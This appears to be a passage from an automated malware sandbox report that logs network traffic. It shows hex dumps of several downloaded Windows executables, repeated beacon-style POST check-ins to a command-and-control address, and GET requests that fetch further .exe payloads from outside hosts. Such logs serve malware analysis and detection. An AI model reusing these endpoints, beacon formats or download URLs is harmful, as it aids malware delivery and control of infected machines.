00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 30 00 00 00 00 00 2d 82 0c 00 00 20 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 73 73 31 00 00 00 00 00 38 00 00 00 00 b0 14 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 32 00 00 00 00 00 60 6e 13 00 00 c0 14 00 00 70 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a4 57 01 00 00 30 28 00 00 58 01 00 00 76 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:08:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 12 Mar 2025 23:21:04 GMTETag: "bdb40-6302d7596d057"Accept-Ranges: bytesContent-Length: 777024Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 1f bf d1 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 2e 05 00 00 e2 00 00 00 00 00 00 d2 77 03 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 0b 00 00 06 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 c6 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 96 0b 00 40 45 00 00 00 30 06 00 6c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 8b 05 00 18 00 00 00 98 4f 05 00 c0 00 00 00 00 00 00 00 00 00 00 00 c0 c7 05 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 2c 05 00 00 10 00 00 00 2e 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 a1 00 00 00 40 05 00 00 a2 00 00 00 34 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2c 00 00 00 f0 05 00 00 16 00 00 00 d6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 09 00 00 00 00 20 06 00 00 02 00 00 00 ec 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 6c 27 00 00 00 30 06 00 00 28 00 00 00 ee 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 80 05 00 00 60 06 00 00 80 05 00 00 16 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Thu, 13 Mar 2025 07:08:39 GMTContent-Type: application/octet-streamContent-Length: 1846784Last-Modified: Mon, 10 Mar 2025 14:56:45 GMTConnection: keep-aliveETag: "67cefdad-1c2e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 14 fa ce 67 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 09 00 00 ba 00 00 00 fc 18 00 00 00 00 00 2d ba 25 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 80 3f 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a8 82 2d 00 3c 00 00 00 00 00 00 00 00 00 00 00 40 45 3f 00 90 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 23 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c2 b9 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 2a 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 ba 18 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 c8 07 00 00 00 c0 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 63 76 30 00 00 00 00 00 74 61 09 00 00 d0 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 63 76 31 00 00 00 00 00 e0 02 00 00 00 40 23 00 00 04 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 76 32 00 00 00 00 00 d0 25 1c 00 00 50 23 00 00 26 1c 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Thu, 13 Mar 2025 07:08:40 GMTContent-Type: application/octet-streamContent-Length: 590336Last-Modified: Tue, 11 Mar 2025 14:08:05 GMTConnection: keep-aliveETag: "67d043c5-90200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 4b 3f d0 67 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 09 00 00 5c 00 00 00 42 01 00 00 00 00 00 53 af 07 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 b0 0b 00 00 04 00 00 02 14 09 00 02 00 00 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d0 22 04 00 50 00 00 00 00 a0 0a 00 d0 03 01 00 d0 90 0a 00 9c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 02 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f1 5a 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e0 21 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 20 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 f8 04 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 73 73 30 00 00 00 00 00 1b a3 01 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 73 73 31 00 00 00 00 00 60 00 00 00 00 90 02 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 32 00 00 00 00 00 6c f7 07 00 00 a0 02 00 00 f8 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 00 10 01 00 00 a0 0a 00 00 04 01 00 00 fe 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:08:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 12 Mar 2025 14:12:02 GMTETag: "8ec000-63025ca1b4e20"Accept-Ranges: bytesContent-Length: 9355264Content-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 36 34 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 c7 90 d1 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 c0 8e 00 00 10 00 00 00 d0 21 00 30 86 b0 00 00 e0 21 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 b0 00 00 04 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 40 16 00 6c 00 00 00 b4 a3 b0 00 94 01 00 00 00 a0 b0 00 b4 03 00 00 00 80 17 00 0c 32 01 00 00 00 00 00 00 00 00 00 48 a5 b0 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 92 b0 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 16 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 d0 21 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 c0 8e 00 00 e0 21 00 00 b6 8e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 b0 00 00 06 00 00 00 ba 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:08:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 12 Mar 2025 14:12:55 GMTETag: "85d600-63025cd3e16b2"Accept-Ranges: bytesContent-Length: 8771072Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0f 00 00 00 00 00 00 74 7f 00 72 20 00 00 f0 00 22 00 0b 02 03 00 00 c4 29 00 00 08 04 00 00 00 00 00 20 45 07 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 60 8b 00 00 06 00 00 00 00 00 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 84 00 3e 05 00 00 00 00 00 00 00 00 00 00 00 c0 5d 00 84 f0 00 00 00 00 00 00 00 00 00 00 00 20 84 00 1c c7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 d3 54 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e c2 29 00 00 10 00 00 00 c4 29 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 e0 2a 00 00 e0 29 00 00 e2 2a 00 00 ca 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 f0 08 00 00 d0 54 00 00 08 04 00 00 ac 54 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 84 f0 00 00 00 c0 5d 00 00 f2 00 00 00 b4 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 b4 00 00 00 00 c0 5e 00 00 02 00 00 00 a6 59 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2f 34 00 00 00 00 00 00 4c 01 00 00 00 d0 5e 00 00 02 00 00 00 a8 59 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 39 00 00 00 00 00 25 62 07 00 00 e0 5e 00 00 64 07 00 00 aa 59 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 32 00 00 00 00 00 22 87 01 00 00 50 66 00 00 88 01 00 00 0e 61 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 36 00 00 00 00 00 30 00 00 00 00 e0 67 00 00 02 00 00 00 96 62 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 35 00 00 00 00 00 b5 bc 0f 00 00 f0 67 00 00 be 0f 00 00 98 62 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 38 00 00 00 00 00 f3 7a 09 00 00 b0 77 00 00 7c 09 00 00 56 72 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 30 00 00 00 00 00 5a d2 02 00 00 30 81 00 00 d4 02 00 00 d2 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2e 69 64 61 74 61 00 00 3e 05 00 00 00 10 84 00 00 06 00 00 00 a6 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:09:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 12 Mar 2025 15:51:15 GMTETag: "275c0-630272ce301b3"Accept-Ranges: bytesContent-Length: 161216Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 1f 9c 7d 76 7e f2 2e 76 7e f2 2e 76 7e f2 2e 24 0b f6 2f 7a 7e f2 2e 24 0b f1 2f 7c 7e f2 2e 24 0b f7 2f 3b 7e f2 2e 7f 06 61 2e 66 7e f2 2e a5 0c f3 2f 7f 7e f2 2e 76 7e f3 2e d4 7e f2 2e b2 0b fb 2f 7c 7e f2 2e b2 0b f0 2f 77 7e f2 2e 52 69 63 68 76 7e f2 2e 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 7e ef 1c 64 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 7e 01 00 00 c0 00 00 00 00 00 00 50 37 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 02 00 00 04 00 00 00 00 00 00 02 00 60 c1 00 00 18 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 14 02 00 04 01 00 00 00 80 02 00 60 05 00 00 00 50 02 00 28 14 00 00 00 00 00 00 00 00 00 00 00 90 02 00 18 03 00 00 a0 df 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 e1 01 00 28 00 00 00 00 e0 01 00 38 01 00 00 00 00 00 00 00 00 00 00 00 90 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ec 7c 01 00 00 10 00 00 00 7e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ca 92 00 00 00 90 01 00 00 94 00 00 00 82 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 14 00 00 00 30 02 00 00 0a 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 14 00 00 00 50 02 00 00 16 00 00 00 20 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 70 02 00 00 02 00 00 00 36 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 60 05 00 00 00 80 02 00 00 06 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 03 00 00 00 90 02 00 00 04 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 37 37 32 42 38 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B52772B85E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/6142491850/s7MG2VL.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 33 30 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10171300101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7033027882/ZqkKpwG.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 39 38 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10181980101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/8061344923/eAzoDbY.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 33 34 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10184340101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /app/8sb9w_003.exe HTTP/1.1Host: 107.174.192.179
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 30 38 36 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10190860101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/809453437/yo7qmvz.exe HTTP/1.1Host: 176.113.115.7
